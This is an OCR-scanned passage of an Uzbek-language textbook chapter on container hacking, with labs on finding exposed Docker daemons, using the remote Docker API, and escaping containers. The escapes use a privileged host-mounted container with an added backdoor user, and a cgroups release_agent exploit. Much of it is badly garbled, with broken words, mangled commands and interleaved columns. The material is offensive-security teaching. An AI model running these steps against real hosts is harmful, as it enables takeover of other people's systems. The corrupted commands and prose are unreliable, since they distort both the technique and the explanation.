i i n samaradorlik nuq
ishlab chiquveht uchu D
Shuni inobatga olgan holda. gl boshaa Jfzalliklari '
= m m

Gl i ki SUSE-dan
ridan jozibadorlikni ko‘rishI ed Hat Linux Mandrake Yo

. ¥ usan. 2 ;
“Linux” nima Q’Iadl? b};-u;gchta komponentlardan iborat

iladi? LinuX : ‘ drosi.
Qanday farq giladl? L hlatiladigan Linux yadr il
— Xost bilan bll:igasl;if:n:s _ grub va boshqa turli xil P
~ SysVinit yo
turlari.

aketlar kabi tizim das-
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— GNU ikkilik fayllari, shu jumladan muharrirlar, tarmoq yordam dasturlari

va qobig. g
Konteynerni yig‘ishda uni tegishli tizim dasturlari va kerakli GNU ikkiliklari
bilan yaratasiz. RedHat 7-ga asoslangan konteyner Debian-ga asoslangan “Bus-
ter” konteyneriga yaqin bo‘lishi va Amazon Linux 2 bilan xostda ishlashi mum-
Kin. Shuning uchun konteynerlar juda foydali. Konteyner primitivlarini yanada
ko*proq tushunish uchun o*rganiladi
Docker nima?

Docker-Compose — bu lokal orchestrato
tizimda bir nechta konteynerlarni bosh
Docker tizimining Kubernetes’
nechta serverlar bo‘yicha boshq
lan Docker’ning biznes modelj
da Docker klastering uchun Ky
chuqur tarmoq imkoniyatlari
Ularning qanday ochilishi kat

r bo'lib, administratorlarga bir xil
qarishga imkon beradi. Docker Swarm
ga teng bo‘lgan versiyasidir, Bu Docker’ni bir
arishga imkon berdj. Kubernetes'ning o*sishi f_’l'
to°liq o*zgardi. Docker Swarm eskirgan va ho:f.ll"
bernetes’dan foydalanadi. Docker ning ,\’adms'_da
mavjud bo‘lib, ular ochiq holatda bo‘lishi mumkin.
ta muammo bo‘lib chiqdi.

Laboratoriya ishi 29 4.
Docker daemons (xizmatlar)ni aniqlash
Docker daemonlari Windows operatsion tizimida oddiy bir tugmachani bo-

umkin. Docker Unix Sockets-dan foydalanib:
ga buyruglarni uzatish mexanizmini taqdim etadi.
Ba’zi holatlarda Docker portlari to‘g‘ridan-to‘g‘ri Internetga ochilgan. Docker
daemonlarini qanday topish mumkin? Yaxshiyamki. buni bir nechta oddiy ska-

nerlash bilan amalga oshirish mum kin. Bulutdagi Kalj tizimida yangi shell ochib:
quyidagilar ishga tushiriladi- T

E—(kaz’:‘@kaﬁ)-[~]

8 nmap -p 23752376 10.0. 0.0/24 -4
Starting Nmap 7,91 ( frh'p.s://mnap.mg )at 2021-02-26 17:32 UTC
PORT STATE SERVICE VERSION
<--Omitted for Brevity-->
2375/tep open docker Docker
| docker-version:
| KernelVersion: 5.4, 0-1038-
| Version: 20.10.4
| GitCommit: 363¢948
| Arch: amdéd

20.10.4 (AP] 141) ®

aws

n CLI asboblari kabi. Bu kerakli binar fa;.*llarni
shlarni bajarish va bajarishga im.kc.m bf:radl. Buni
| API mijozsiz ko‘rib chiqiladi:

da bo*lishga imkon beradi, 3,‘\;“3_
* 2 3 E

olib kelmasdan uzoqdagI:\OSt Ell e

vanada chuqurroq o*rganish uchun.

| s Hu?iﬁ;}:m,{;{]} 0.50:2375/containers/json | jq 2
curl hitp://10.0.0.

I ‘e!’l’
0 2 e ume 1 n uri
% Toral % Re (‘Hfl'd.’d A);\”E’Pd;‘hi rage .S:UE n
o folal 7o e 1 d Tir Time Time (

ed )
Dload Upload Total Spf.’iﬂ LL’ﬁ. S,-'.JL'E-- e e 0
100275702757 00207k 0 —===i== =
/ ] Jalcledddl”,
(0b5d9b08 10494a’
’r 2089161 0ec3 0c29/8df6e0b5

“Id": "felc86¢839ef3 945h75a4
"Names": [
“targets redis_I H
j:: n. modis:alpine”, 0230b/2flde
"f’f::;g:c}f)’:: ".*-u'ﬂ.'m,?56.‘{1(:{.’?(&1’4.‘? 92390]-.

e b,féiﬁimi!;,: ndocker-entrypell it.sh
"“Created": 1614547472,
"Ports": [

]

: 27
"PrivatePort™: 6379,
I'f}f-;l '{)g‘ fl" Fl.rcp "

!
i

p947d39ec7alec30f3as 7daab8alleice-

o1
edis-server’

! o tarqalgan 0°zaro aloqalarni E{“'}]alg?

-8 ko‘plab eng keng Pl c];aqil'u\"i orqali fa{)]lflshl.ll'l a -1;
Docker uchun SDI“,8 conteynerlar uchun'A i B pn lumc')tlal‘l
oshiradi va “ps” buyrug ! LOI@ endpointi API danf.]iuhit o‘zgaruvchilari va 151’_13-
Bu yerda, “/COmainers{]s{:-[;di. shu .iuml'adan atr,oishlalib. kerakli ma’lumolﬂarmlnﬁ
o massil\ fid?&?’ill%:?a teaishli chaqlglj::;]shda. Docker CLI'ni ham ishlatis
tilayotgan portlar. g2 o alterna

ichimiz mki1
ko*p gismini olishimiZ mu
mumkin. Konteyner xavfsi%h'guni PR 8 e
ida” bida tizim S e B
o i dasturiy ta'min
% ]]‘[2 (8] Z1 3 ’dl. BU : . -
Jar “bir vaqiniiic duchor bo‘Imaydt. e, B il
Konteyner oszam‘ishlarga il o aad das it e
s ar 0°28 e riy o

langan bo*lib. ul oydalidir. e i vk i

. - juda o
chiquvchilari uchun | sturlarni g

hi bo‘lgan hujumchilar

: Hipgan oqc : iy dasturlar
rida kompilatsiye q[légfglarda“ fﬁyd;ﬁ%ﬂ; 4 yoki Java 7 ka t;: :;ZI?;;; dasturiy
kin, [ekin bu eski Z3 ligi tufayll, ; hga tushiris

.y gearishsizligt T - qilari va is
afzallikdir. O zgan;:‘atsioﬂ tlz‘mk.zalﬂ
n.
uchun konteyner 0P . umki
zaifliklarni o'z ichig2 s




'

Laboratoriya ishi 29.5:

Flber i e .DockerAPI bilan o‘zaro alogalar

F ey cifi(r):v‘;l;?fadllconteyncrlar yaratish mumkin: ammo. C1.1’da allaqa-
odlangan asli mijozdan fi ) s CL

i o G ! oydalz ; .

yidagi laboratoriya gismlarini amalga osh YL S ancha oSoriroy, O

gan Kali instansiyasidan foydalaniladj: irish uchun AWS Cloud*da joylashtiril-

I_—-f‘ka!."@!ra!fh[ ~f
S docker -H® 10.0.0.50 s

CONTAINER ID IMAGE COMMAN |
PORTS NAMES IMAND CREATED STATUS

Jdc86c839¢f3 redis:alpine “docker-entrypoint. s
an hour 6379/tcp® targets redis 1@ o

1627680fd2d7 1argets web “f
_W ask run” Abe 2
an hour 0.0.0.0:80->5000/tc P® targers “:3;' Té) hour ago Up Abous

" About an hour ago Up About

. 1.;{.11(:1*1:31.‘;" b;.]lyrUg*ini -H ® fla b taal
xostni belgilash imkonini : : u bizga uzoqdag!
Vo raniz: g“tarqets r;;;"'lggaig }iZoqdagl maqgsad tizimida ikkita iom;\jler:i
. T — argets_web 1"®. Ririnch: S
interfeysga hech gand . ovn _WEb_ 1@, Birinchi kontevner asosiy
®. Hozirgi konﬁguratzfygc?; lzrm ochmaydi @, lekin ikkinchi ](Ol?ll;:}}’:s: c:(?gzdl
R » daeémon autentifikatsjyg i ol Sk
gan; shuning uchun, ushbu inte Ya qilinmagan yoki shifrlan-

. ; rfeys] £ ads
chi bu buyruglarni ko‘rishi el yslar orqalj cs.h:tayolgan har ganday hujum-

gi bilan ishga tushirsa bo‘ladi

shell’lari
ik ni ishlatgan o quvchilarga tanish bo-lishi
E(kah‘@kaﬁ)~[ ~]
8 docker -H 10.0.0.5 ;
Kods 40 [s .50 exec -t fﬂf‘ge{_g_“:eb‘f /*‘J”?/.!Ji'o
Dockerfile __Pycache

app, e e
leode # env® PP.pY requireme

HOSTNAME=162765¢
27680fd2d?
PYTHON_PIP_VERSION=3; ¢,

<--OMITTED FOR BREY
PYTHON GET p s

IP_ SHA256=
5 : . = =c3 58 !
eclf342e2024565 e3d06371e135fb3 1564 7d81d6270735
/eode # ps of® 270735088428c4aYa-
PID USER TIME COMppanp

,; root 0:01 {flask} Zusr/local)
20 root 0:00 /p in/sh

.;’8 root 0:00 ps -ef
‘code # cqt proc/l/cgroup®

nis. xt templages

bin/python /usrlocal bin Hask run

12:cpuset:/docker/1627680fd2d7e7b92¢3405b7c7d7ce4 74 aed7abba3780e4a027742¢ce-
a3309bb

<Omitted-For-Breviry=

1:name=systemd:/docker/1627680fd2d7e7b 92¢3405b7c7d7ce474aed7abba3780e-
4al27742¢ccea’ 309bb

0::/svstem.slice/containerd.service

‘code # mount®

overlay on / type overlay (rw.relatime, lowerdir=/ar/lib/docker/overlay2/ )

1/3X4 }‘”6 0.J6GBHFJNXSSIKCOMMDRG /v ar/lib/docker/overlay2/l/3DNFTYUP7HS-
MEXXXF2ZXCW3J3U:/  var/lib/doc ker/overlay2/l/QMSIGZMMO TNGFILIJQSQICUCHH: var/

libvdocker/overlay2/l/ ;
TF ;. CV4N }':." 'CZINIWBZDAQB6Y27S:/var/ lib/docker/overlay2/l/ZZCP U LUIHOK ZE KDE-
6PEQ7CZAHT:var/lib/docker/on erlay2/l/7TCNC3VEI2ZFM6QKM6US TTL203BI:/var/lib/docker/

overlay2/l ;
L CHCCAVIBGACUTIBINQOXKX43PX:/var/lib/docker/overlay2/VLOW UPQTOFJWVFP-
DS67UOFFHAOH: /var/lib/docker/overlay2/VAANVYYIVO TXLKJNWA4ZVXDK3DWB:/var/lib/
Jer‘overfayv2 - e -
doc k;’. 1‘;;&3& GOLTMZK3SKS7FG544DC EK:/var/lib/docker/overlay2/l/ATXZTOYS7 }JE K-
R R ar/lib/docker/overlay2/4cT Tebfec69c4d26d42342¢87 11 4ce-
2NF {PPUB7XO,upperdir=/var lib/docker/overiay2/4c 3 /4T T o0
3e ; ;3;;;, 51h951 r‘\‘{ff]t\'ffjl?fb 8a99933365/diff, workdir=/ var/l fbf’dock‘en’m'er!f.t_l-2x 4c77ebfec69c4d-
260142342687 1 1 4ce3¢9fe320b5169518dbS037fb8a999333 65/workxino=of})

<--Omitted for Brevify=-=

ker konteyneri ichida buyruglarni bajarish_ imj
ker'ni aniq bir xostga yo‘naltirish mumkin. -1
da bo‘lish mumkin, va -t flagi yordamida
b 17ga garshi buyruglarni bajarish
bajariladigan buyruqdir. Nega fbi-nf
a ishlamogda, bu konteyner muhit-
Magqsadli tarqatma nima ekanligini

Docker exec buyrug‘i @ Doc
konini beradi. -H yordamida Doc
flagi bilan konteyner bilan 0°zaro aloqa .
bc;iluan konteyner tagiga. ya'ni “targets_We
mumhkin. Oxirida ko'rsatilgan buyfuq_. fl_auﬂs’h.
bash emas? Ushbu konteyner Alpine Linux'd

: sy nli targatma.

\no targalgan yengil vaz g e W e
Iar‘]d?a kkinga;j 1};th BusyBox shell'ini ishga tushiradigan Alpine kebd targatonelas
aniq bo*lmas: . Bus)

ham /bin/sh’ga ega bo‘lishini anig. Alpine’ni is!lga tushirfidég:n:al;omcynerlarda
ko*plab bina; fayllar. masalan, b.ash_. standa{'l ravligl}d? dma\:i] :bki ko-'r o

. o1 senglar tofplami konteyner mu itini dastlabk kg

: Kcyl_ngl .hu_) . ot sifatida ishlayotganini ko‘rish mumkuj, bu # sohrow'

O r(l) isi /root sifatida belgilangan env buyrug‘ll orqatl_ko I:S:':ltl]a-
e O‘Zgarl.l_\’ff ]l;a'flrish konteynerda nima ishlayotganim_ yaxslu.ko rishga
di. env © bu)fmg ]Eu a-::‘(}f-l‘l‘ll.lhit o‘zgaruvchilari atrof'—muhitrgl tuslmn-lsh.ga yor-
i be]‘.adl. Ba-"d]in' lab sirlar va foydali ma’lumotlar maVJur:i bo‘lishi letn-
i beradLkCthm)lf:Zer?iapatrof-muhit o‘zgaruvchilari ichida topadigan narsa yo-q.
kin. Ushbu kont€

S larni qayd qilish mumkin: .
ammo bir neﬁ;%q?r;;?r;iz;algliyheks formatda bo‘lib, Docker konteyner
— XOST =

.vasini ko‘rsatadi.
nomlash konvensiyasti! ko‘rsa

satri konteyner aynan Python yoki Python asosidagi

N= e :
. _ pYTHON_VERSIO moljallanganligini ko rsatadi.
Xizmat, m

asalan, flask uchun




Agar ps -ef @ chiqisﬁi ko‘rils

. ¥ a, UShbu k o & sl o .
fatida ishlayotganini ko‘rish m onteynerning asosiy jarayoni PID I si-

5t umkin. ¢ e & s
cgroups @ ichiga qarab, ushbu j; groups qanday ishlashini eslansa. /proc/1/
ko'rish mumkin. CEFOUps?bo‘]' 'djdrayonga qanday cgroupslar bog*langanini
rini, ya'ni yakuniy birlashtiri]n:::,] S\D(;Ckezrd“i“g xaritada ko*rsatilean ktan;e)-'ne-
: erlay?2 diskini . gan '

mount @ buyrug‘i esa S Y& diskining SHA-256 kodini ko* 7
qanday qilib overlay dick 1io: . 256 kodini ko ramiz.

ko‘rsatadi. Bu ma’ verlay disk tizime; s o e

. 1 - " - L Ld El[ i ! :
ma’lumot keyinchalik foyda; bo‘liqhihrm?lnll\z-lm]' joylashtirilganini
i ? in.

/code # netstat -an

Active Internet connecti
1ons (servey ; :

g s and establishe
et ;3.;-1 Q Send-Q Local Addpess F. oreign A :’;f-'d»‘ y

P00 127.0.0.11:33317 0.0.0.0:% Lyspey oess State
ep ;) 00.0.0.0:5000 0.0.0.0-* L;’lS'TF 1"»
rep0172 '3 ) 125
mﬁ g0 }’;; ){g.g.i...)f)ﬂﬂ 162.142, 125.54:36242 TIME W

Ay 2.18. .2:38632 172,18 0.3:63790 @ sl
udp 0.0 127.0.0.11:55258 0,0.0. 0, S
Active UNLX domain sockets (ver-verq and

Proto RefCnr F 3
Jeode # fCnt Flags Tvpe State I-Node

established
Path d

. Netstat buyrug*in; ishlatib, ES
ni tekshirish mumkin, ular to*o¢ id
portlardan biri Redis @ ka!itf'g "
n:riar tabiatan gisman 0‘zg i
o0°zgarishlarga moslashadi.
qayta qurish vaqtida yo*
nar fayllarni olig tash{fsl?

TABLISHE _

311—10*;-?-:{&[309 va mavjud bo*lgan ulanishlar-

mat bazasinin ,Da Oc!uq b‘f'lmﬂSIigi mumkin. Bu

armasdir; ammg u]!: Eo-nl borlishi mumkin. Kontey-

Bu O‘Zgal‘ishlar[‘( af djarilishdan so*ng konteynerda
onteynerni qayta ishga tushirish yok!

qilinadi. Konte .
% ynerni - e s i
uchun ishlatish mum](?ng operatsion tizimini kerakli bi-

; L -
Muhitda yig‘ishga hara aboratoriya jshj 29.7:

v unitdayig's Kat gilis :
ni oldinga o‘tkazish va proks; gozlar;;?nhznmgl_" m;ci-ha
Eoe In. Shun

Pivot

usul mavjud, jumladan port-
ingdek, muhitda yanada ha-
ash orgali ham davom etish

/code # cat /etc/,
s-release@®

NAME="Alpine Linyx"

ID=alpine

<--Omitted for Brevity-->

/code # apk -~update add redis@

Jetch https://dl-cdn, alpinelin

(1/1) Installing redis (6.0.17 H?EO?
Ew.fcmfng busybox-1 321 s
OK: 141 MiB in 49 pack

. / . ;
Salpine/y3. ; 3/main/x86 64/APKINDEX. tar.g=

-3, .ff'{gggr

ages

asosidagi operatsion tizimdir. Konteyner Alpine’ni ishlatayotganini bilgan holda,
Redis paketini o*rnatish uchun apk @, Alpine paket menejeridan foydalanishimiz
mumkin. Endi bizda bir xil xost ichida lateral harakat qilish uchun bir nechta kom-
ponentlar mavjud va bizda bir konteynerda boshqa bir konteyner bilan muloqot qi-
lish imkoniyati bor. Bu konteynerlar bir xil tarmoq cgroup ma’lumotlarini baham
ko*rganligi sababli mulogot gila olishadi.

Jeode # redis-cli -h redis

redis:6379> KEYS *

1) "hits"

Redis konteynerida fagat “hits” nomli yagona kalit mavjud. Redis har xil
ma’lumotlarni saqlashi mumkin, va ko*pincha Redis orqali tizimda orqa eshik
(backdoor) shell olish mumkin. Biz muhitimizda yanada ilgari borishimiz mum-

kinmi? Xost operatsion tizimiga kira olish mumkinmi?

Konteynerlardan chigish
) — bu ko*p joylarda keng tarqalgan xakerlik usuli

bor. Eslatib o*tish uchun. gipervizorlar apparatni
virtual mashinalar orasida chegaralash nuqtasi sifatida katta ﬁarajada cheklash im-
konini beradi. Konteneryalar bilan savdol—soliq esa shundakl: bar-:.:ha konteynerlar
bitta yadroni baham ko'radi, bu yadron-l kpnteynerlz{r ora'51'dagn chggara m.n:}taj
si giladi. Siz tasavvur qilishingiz l]'ll.ll'l‘lk]'l‘lkl. bu darajadat_gt jarayon llzol{iatS{}a?
faqat yadroning hech qanday ekSplum?iSl}’ﬁ}aShga ega bo Imasligi s 131':;_ abha\" =
siz bo*ladi. Konte)-'nerlarning cheklanishlari umumiy tizimga asoslanadi. bu esa

xavfsizlik jihatidan savdo-sotiqni anglatadi.

Konteynerlardan chiqisl
bo-lib. bunga juda yaxshi sabab

Imkoniyatlar o
alanuvchi huquglarini yanada nozikroq boghqansh im-
to‘plamini oladi. Masalan, ko*pchilik W]r;Sh‘&i:[i VO-
tida ishlatayotganda quyidagi qobiliyat-

Linux o°z ichiga foyd

konini beruvchi qobiliyatlar o

sitasini root bo‘lmagan fO?’dalan]l\IIVChl sifa

larni vogish kerak bo*lishi mum dn:
—YCE\P NET RAW: RAW va PAFI&ET
= CAP‘NET'ADMIN: Tarmoq interfe

yatlarini boshqarishga imkon :)Iera]cih(.)‘c
Docker-da barcha nazoratlan

i °0ileoed“ Ushbu flag konteyner uchun A.pp i

b:;'l;’nrlarZhekllov]arini o*chiradi. Ushbu flag bilan kpnteyner arni ishla

iliya

proksi va boshga oraliq tizimlarda ko"prog uchraydi.

socketlarini ishlatishga ruxsat beradi.
yslari kabi tarmoq boshqaruv qobili-

hirib qo‘yish uchun maxsus flag mavjud:

Armor profilini o“chiradi va qo-
sh, teskari

Laboratoriya ishi 29.8:

s (konteyner guruhlari)
d” buyrugidan foydalani
rga o‘tkaziladi.

Imtiyozli Pod
sty '!ege
nteynerini “--pPrivt
Blogler KOO |malarni konteyne

va mezbon tizimdagl qur!
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b ishga tushiriladi




Efkaﬁ@ka! i-[~]
)

docker -H 10.0.0.50 run -it --name nginx --privileged --ipc=host --net=host--pid=host

-v //host ubuntu@®

root@ip-10-0-0-50:/%

root@ip-10-0-0-50:/# ps -¢f®

PID USER TIME COMMAND

I root 0:15 {systemd} /sbin/init

2 root 0:00 [kthreadd]

<--Omiitted for Brevity-->

83591 root 0:00 /usr/bin/containerd-shim-runc-v2 -namespace moby -id e4dee9f982a38/79/-

94/2e302a3b41b0558¢f9b751273d5fch3cefid

835621 root 0:00 sh

85636 root 0:00 ps -ef

root@ip-10-0-0-50:/hosti Is

bin dev home 1ib32 1ibx32 media opt root sbin srv tmp var boot etc lib lib64 lost- found mnt

proc run snap sys usr

root@ip-10-0-0-50:/host# chroot /host®
# /binbash®
root@ip-10-0-0-50:/# systemctl siatus®
ip-10-0-0-50
State: running
Jobs: () queued
Failed: () units
Since: Fri 2021-02-26 14:23:35 UTC: | w
3687 bpfilter _umh
init.scope
L/ /shin/init
system.slice
L—systemd-logind. service
L—490 Aib/systemd/systemd-logind
<--Omiitted for Brevity-->
root@ip-10-0-0-50:/4% adduser ghh-hack®
Adding user "ghh-hack’ ...
Adding new group “ghh-hack' (1002 ..
Adding new user “ghh-hack’
<--Omitted for Brevity-->
Is the information correct? [Yin] Yo
exit
# exit
root@ip-10-0-0-50:/host# exit exit
E(kaﬁ@kal{)-[ﬂ
S exit®
Connection to 3.94.148.9 closed

eeks 2 days ago CGroup; /

(1002) with group “ghh-hack'

S " » «ifatida fovdalanish @ va hatto qo*shim-
konteynerdan hujumimizda beach].lelad -Slfa;];la-y }ini onieyuiigh ost et
cha buyruglar yordamida mezbon Gzimmie 1-[[.:! ll-nl:;or shulardanbbiri u0‘z-0°zi-
ulash mumkin. BusyBox ning bir necha afzalliklari bof; s i i s bil

: . «di. Endi BusyBox konteynerini imtiyozlar bilan
dan hech ganday signal bermaydi. El fovdalanib buyruglarni xuddi mezbon
ishea tushirdik. shuning uchun shell’dan 1o}
tizimida bo*lgandek bajarish muglkm.oene ps @ buyrugni ishlatib, butun tizim-

. . st n so‘ng. :
Konteyner ishga tushirilganda o8 ; merlarni va hatto 0°z
ning J"lr‘l\';mlarini ko‘rib chiqish mumKin. B”dbolsahqa k(;]:iigzt bo‘limini chroot
&= Jetlbady i H A1 er .

S e e < 1 3 ni amqla} 1. Bu ye :
konteynerimizning disk joylashuvi i i di System bash @
(3] i[fb konte *nehminu root'ini mezbon tizimning roc?t qlllgsiltizi}mida ‘ol
dzu::I i‘:)\'-dai'mis.}h va hahlto konteynerda bo‘lmagan kabi mf::mcﬂ kabi buyruglarni
larni b. je 3 h mumkin. To’liq kirishni iSbmlaSl.] s 'S}]Smumkin (5] Niasofavi}"
t;aljm 't:rl]‘lr](:sybgt1 N barcha jarayon]arm ko riats;foydalanu"“:hi qo‘shish
ti'._;.arlw- ;\“ :h uchun log in gilish mumkin bo lgan ; zilsh ekshirib chigiladi ©.

zﬁlmifl g le i da;’ standart savollarni javob ::r h mumkin ©. Bu yerda
E . Har ¢ . .  chigish . J
;T,].ul.n " tib kirlislmi sinash uchun. endi butunlay chiq
izimga qay

i 40 kirish mumkin.
zarur bo*lsa. Docker mezbonigd bevosita K

i suiiste’mol qgilish
9.9: Cgroupsm ! ol
tioa ega bo‘linsa, lekin Docker jarayoniga
" ;ima gilish kerak? Ehtimol. rasmlar

Laboratoriya ishi 2
Agar buyruqni bajarish imkoniya

. Lok jmkoni bo‘lmasa. s | e
cosmidnm_ ool kirish imkont : _ il ondamid Koo
kS 19 Ig ; mkin: 29 3-rasmda oddiy gochish sekansiyasl y
yordam berish mu s

: i ko‘rsatilean. Bu yerda kontey-
i ‘Joan hujum yo'li ko'rsattigan. e
teynerdan chigish mumkin bo‘lgan it i bajarish mumkin. Felix Wilhelm
nerda qandaydir zaifli

topish va buyruqlar oddiy chroot montaj muammosini
; ilingan va .
i . . i ho*lib oshkor qUiis
tomonidan birinchi bo
ko*rsatuvchi konteynerdan ¢

.« o‘reaniladi. Oldingi laboratori-
ai ;ansiyasl 0 rgan
higish seka
: .. da masofaviy
yamizdan davom etib. hozirda !

Docker misolida target_web_1l nomli
/ ' calizatsiya gilingan
. > Bu yerdan bola cgroups ).Ofd?';lda ;:;sionzijm buwﬁq_
konteyner IChIdle'Ilth- <piriladi, bu €sa mehmon tizimida op )
. [y 1 5
ekspluatatsiya ishga tt :
ke adi.
larini bajarishga imkon bef [

Website in
Container

Command [njection

Container Escape

i

Hacker

ol b » el s -2

3-rasm: Konteynerdan chiqish ketma-ketligi
29, 3-rasm-




/eode # dir="dirname S(ls -x /s*/fs/c*/*/p* lhead -n1)" @
‘code # echo Sdir
/sysifsicgroup/rdma
/code # Is Sdir
cgroup.clone children cgroup.sane_be
cgroup.procs nolify_on_release tasks
/code # mkdir -p Sdir/w®
‘code # echo | >8dir/w/notify_on release®
/cade # cat Sdir/w/notify_on release
!
/eode # mtab=S$(sed -n s/ *\perdir=
/code # echo $Smtab
f;?i;i? %ﬁi@;;’z;m erlay2/das17f882917304bfid3 93a88451¢0958fc85267ecf8 he33b29
/code # touch /output®
/code # echo Smiab/emd >S8dir/rele
‘code # cat /emd
#/bin/sh
=/varlib/d, ertay2/das 7 s Thel
g; 5?/95?8 jnbbe 2;/0{’;; :;’;;;‘:: 3{;’( f—; 171882917 3f04bfd3q 95a88451c0958f85267ec/787he33
/code # chmod +x femd;sh -¢ "echo 0
PID TTY TIME CMD
1 2.00:00:20 systemd
<=-Onmitted for Brevity-->
118180 2 00:00: 'orker/u30:0-eve .
118220 7 00:00.00 2::?; rertbiesets_pover effcien
118222 2 00:00:00 ps

havior release agent

V(™ ]%). %/ ] /p'lete/miab) @

ase_agent;printf Hbin/shinps >""Smab/owpur” >/cmd®

>8dir/w/egro Up.procs"@;sleep |;cat /ouput®

Birinchi buyruq “fsys/fsfcgroupfrdma”
teynerlar orasida to‘g‘ridan—to‘g‘ri xotira
talogidir. Bu yerdan “w

® katalogini o‘rnatadi, bu barcha kon-
bo‘.llshini ko‘rsatadigan cgroups VI ka-
ratiladi, bu esa boshqa potensial cgroup
19, -CEFOUpS vl turiga qarab ichi-i'cl‘lf_gzl
» shuning uchyn bu yerda papka )’aral'sg
' avola qilinmagan, “notif lease”
v 13 2y . % y_on__re .
gi‘c:-{:lii{a::vzgrir;f;::cjegageq f'dy.hfia qayd etilgan oxirgi buyrugni bajarishni bil-
iyt gor. & Zorat qgila olsa, xostda buyruq bajarish 1m-
Kernel bu joylashuynj qanda i
y to : 1-
; S : o Pai u faylning chroot q
;T;gs?niiow e;(nas_, a§110)/_]ashuv1m. bilishi kerak. Yakuniy buyruq);[andiy topiladi?
odatc?a (igakalizg '_Sh_"fh'_kata]({gl OverlayFs tizimidagi yakuniy qatlam bo‘lib:
lashuvini topish gilq el rsatiladi. mtab faylidan overlay fayl tizimi joY-
PISh uchun foydalanisp mumkin @. Byn; bilgandan so‘ng, qo*shim-
n_avbatda, konteyner ichida chigishni saqlash uchun
ni xabarnomalarn; yuborish usuli sifatida o‘ylas V&

: Ing holatda “/output”®). Keyin “rele-
bo‘lgan faylni xabar berish kerak.

Pishi ko‘rib chiqiladi:

S ups vz
jud bo*ladi. chunki Linux Kernel cgroup

erak bo‘lgan buyruq va “/output”® chiqishini

Misolda. “/cmd"® bajarilishi X adigan qilib tayyorlash va */w”da yara-

saglaydi. Yakuniy qadam bu).»rl.'lq.m l:inl_lauI : </w/caroup.procs”ga 0 saglash orqali
lilna[; cgroup ni chiqishini bildirishdir. Bumni =

i chiqi kinligini ko‘rsatadi @.

sl il o, JOOHEE P en'dl C'hl(}‘;}: Tnlill?on be‘;ish orqali chiqaril-
oni 5 kutib turib \'os—t tizimiga vazifani bajarishga
soniva kuti . 3 g

i i i I '. 8’ . - -‘-} - . ; .
Sk e anday amalga oshiriladi? Birinchi
) kin? Bu buyruglar q e

Nima uchun bu mumkin: ) Y e v

. bt iud bolishi vt PR
navbatda. cgroups v1 tizimi mavjud b 7 ni faqat 4.5 versiyasida tanishtirdi va

' va
siy targatmalarda mavjud bo*Imadi. }Jbt;ntn; I%EIZELSV e
Fedora 31 ga qadar asosly ) qu dan foydalanadi. buguflgl kun a.loc}[r. - nar_sa -
20.04 LTS hali ham cgroups ;qri - shunday. Ke;fing1 -kerak bf’ SOII-[%yat]aﬁ_ .
gan ko*plab Red_Hat.tz{rc?atr;lgi;an "--privilege” fagi yok} YE;::H;:: onva
yadro hujumi tiz g

Xulosa

idamlilik tagdim
S S[ur]arga chida
- tirish va da
rni kengay

sizlikni tsion sama-
. =~ xavfsizlikni opera n _
[ mi sifatida ishlatiladi Kontu?nerlirkm bo‘lean ko*plab zaifliklarni
etish mexanizmi st di va tabiatda uchrashi mutl ]komﬁonenﬂﬂl‘ va ularni gan-
radorlikka almashtiradi larda mavjud bo‘lgan e o
k tadi. Bu bobda konteynerlar Jumot berildi.
(o°rsatadi. 2

& feE ida ma H .
¢inligi haqida I s 1qa gismlari-
day qilib cksp!ualaiswalaSh mlun-}[:\ h va dastur arxitekturasining boshga q
€ " ‘ [5
= 74 ega N0

' : “4i kin.
: o imkoniy akat bilan o°tish mum
245 aucichim €04 atllb oanidan kamroq harakat bi
s axmin qUIng
ga dastlabki taxmin qHitS

1tk ‘ala
Konteynerlar arxitekturale

anbalar . I
(r:nontrol Groups Version 1. Www.
sroups.html .
. pItmt.ainers,” presentati-
I.1/proceedings/ slides/

Qﬂ"shilllCha
Guide,
de/cgroup-v1 / ¢
basis of Linux ¢

netdevconf.infof
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Linux Kernel Administrato
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“Content trust in Docker™

“Isolate containers with a use
ne/security/userns-remap/

“Dirty Cow (CVE-2016-5195) Docker Container Es
dsoftware.com/dirty-cow-cve-201 6-5195-docker-

“How I Hacked Play-with-Docker and Remotely Ran Code o the Xost”

www.cybe rark.com/resourcesfthreat-research-b]ogf how-i-hacked-play-with-doc-
ker—andremotely-ran-code-on-the-xost

The Route to Root: Container
cyberark.com/resources/threat-rese
pe-using-kernelexploitation

“The Use of Name Spaces in Plan 9~ doc.cat-v.oruz‘plan 9/4th_edition/
papers/names B L s

docs.dockcr.comfengi ne/security/trust/
rname namespace”  docs.docker.com/engi-

cape”  blog.paranoi-
container-escape/

Escape Using Kernel Exploitation www.
arch-blog/the-route-lo-rool-container-esca-

Foydalanilgan adabiyotlar:
tiative Image Format Speci
spec/blob/master!spec.md.
2. “Open Container Initiative Runtime Specification.”
opencomainersfruntime—spec!blobfmaster!spec.md. .
3. *Open Container Initiatjve Distri
opencontainers/distri bution-spec/blob/
4. “Use the OverlayFs storage drj
gedriver/overlayfs-driver/.

5. “About the Open Container

1. “Open Container Ini feation; hitps://github:
com/opencontainers/image- :
. h“PSZf:’github.comf

bl.‘lli()ﬂ Specification,™ hltps:ﬁgithub.com/
main/spec.md.

ver,” https:ff’docs.clocker.comfstorage/storﬁ'

s Initiative_* : i 4
. ative, https./ﬁopenconlamers.or.gfabt‘rllt
6. “Control Group V2,”  https:// i
s ps: www.kemel.orgfdochocumentatl0”/
7. “Don’t Panic: Kubernetes and  Docker.*
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blog/2020/12/02/dont- https://kubernetes.10

panic-kubemetes-and-dockerf.
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30-BOB. KU BERNETES P

: ¢ ichioa oladi:
Ushbu bob quyidagi mavzularni 0°Z ichig

— Kubernetes Arxitekluras:;' :
— Kubernetes API Serverlar'mln o
— Kubernetesning ichKi mm!l?:hs g
— Hujum ko*lamini kengaytirish.

g barmog izlari;
kirish:

i i ;anei va ehtimol, eng

s dan beri eng yang _
i lgancl:‘z yuritiladi. Agar konteyner foy

lashtirilsa. Kubernetes VMwaref

b tashkilotlarning dasturlarni

. - - 5 \r
Ushbu bobda vntua}nzalsga pla)l;ri s
ommalashgan te.\'nologlyalaf an] N hinaga teng
i naza”dﬁn'vilgz? Kubernetes KO'BSD 4 shundali, Kuber-
e i ‘ an. Qizig
VSphere tizimiga lcpglai'?h usulini tubdan 0 zgartirg o wet
to*plamlash va taqdim eti

suati to°2'Tl ] ¢
= «ing aksariyatl 105 “TEEH cunalarida o‘r-
e e i va tizimlarining - d virtualizatsiya uskuna
netes distributsiyalari \d' Ju
: % H aydl.
serverlarda o‘rnatilma)

